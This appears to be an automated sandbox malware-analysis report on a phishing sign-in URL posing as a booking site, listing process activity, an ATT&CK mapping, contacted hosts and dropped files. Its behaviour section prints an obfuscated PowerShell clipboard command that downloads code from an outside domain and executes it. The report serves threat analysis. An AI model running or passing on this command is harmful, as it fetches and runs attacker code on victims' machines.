Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 PowerShell	2 Browser Extensions	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	21 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
booking.home-extranet.com	172.67.173.72	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.114.147	true	false	high
tokennbkn.com	45.141.101.104	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://tokennbkn.com/	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.micro	powershell.exe, 00000011.00000002.1831312006.000000000778D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1940733987.0000000007E9D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2083197541.0000000002782000.00000004.00000020.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1937289818.00000000049A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2028475217.0000000004CA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2085120775.00000000049C5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6lB	powershell.exe, 00000011.00000002.1826723030.0000000005161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1937289818.0000000004851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2028475217.0000000004B5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2085120775.000000000487E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.microsoft	powershell.exe, 00000011.00000002.1832949556.0000000008776000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2089605247.0000000007F56000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1937289818.00000000049A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2028475217.0000000004CA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2085120775.00000000049C5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.microsoft.co	powershell.exe, 00000015.00000002.1940733987.0000000007EBA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.micro5	powershell.exe, 00000015.00000002.1934980080.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000011.00000002.1826723030.0000000005161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1937289818.0000000004851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2028475217.0000000004B5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2085120775.000000000487E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.micro7	powershell.exe, 0000001B.00000002.2089605247.0000000007F56000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.114.147	www.google.com	United States	15169	GOOGLEUS	false
172.67.173.72	booking.home-extranet.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
45.141.101.104	tokennbkn.com	Russian Federation	48347	MTW-ASRU	false
104.21.96.53	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1710751
Start date and time:	2025-06-10 12:49:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.phis.evad.win@46/47@20/9

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 142.251.116.100, 142.251.116.113, 142.251.116.101, 142.251.116.102, 142.251.116.138, 142.251.116.139, 142.250.114.94, 142.250.114.139, 142.250.114.100, 142.250.114.102, 142.250.114.138, 142.250.114.113, 142.250.114.101, 142.250.114.84, 142.251.186.139, 142.251.186.113, 142.251.186.100, 142.251.186.101, 142.251.186.102, 142.251.186.138, 142.250.115.139, 142.250.115.100, 142.250.115.101, 142.250.115.113, 142.250.115.138, 142.250.115.102, 199.232.210.172, 173.194.208.100, 173.194.208.139, 173.194.208.102, 173.194.208.113, 173.194.208.101, 173.194.208.138, 142.250.138.101, 142.250.138.113, 142.250.138.102, 142.250.138.100, 142.250.138.139, 142.250.138.138, 142.250.115.94, 142.251.186.94, 142.251.186.95, 142.250.113.95, 142.251.116.95, 142.250.115.95, 142.250.114.95, 142.250.138.95, 173.194.208.95, 142.250.113.100, 142.250.113.138, 142.250.113.139, 142.250.113.102, 142.250.113.101, 142.250.113.113, 104.69.85.120
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:50:50	API Interceptor	96x Sleep call for process: powershell.exe modified
12:50:48	Clipboard	Run: poweRshEll w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	5.383196545743563
Encrypted:	false
SSDEEP:	48:RWSU4xympjgs4RIoU99tK8NP0Ml7u1iMugeC/ZM0UyuOjo:RLHxvCsIfA2KMeOugw1H
MD5:	C343C2F22CD9EF72E10C7A340D22D137
SHA1:	E0BF198FB10CF5F19A18767B70B79332F086847B
SHA-256:	40F9AA2F31E560AEDF92505599DB5FD4E497F324EACF7B1BEEF65466EC830204
SHA-512:	288743A48397F00D39DED24F21CDF3A90AE3EA366CFC7704D66B90B260BA3318008B9A24DDB976EBC4744680BCFAE5B0C3CA294FBBC0D3C7414C9633E7A3EA06
Malicious:	false
Reputation:	low
Preview:	@...e.................................K..............@..........P................1]...E.....k.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cpquur0.r5r.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_230rjni1.eih.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lumgk3i.3mp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52vmgvhi.fv3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ajn4fxo3.c5k.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bzplew4r.ntg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_chfxxijg.cdy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_codlz1qj.o0m.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjrvdq4u.ooo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gpflaurx.lmm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0oupswy.mlt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hov5lo0a.gkw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ip0zvyun.aq0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lwwd1vwj.fs2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
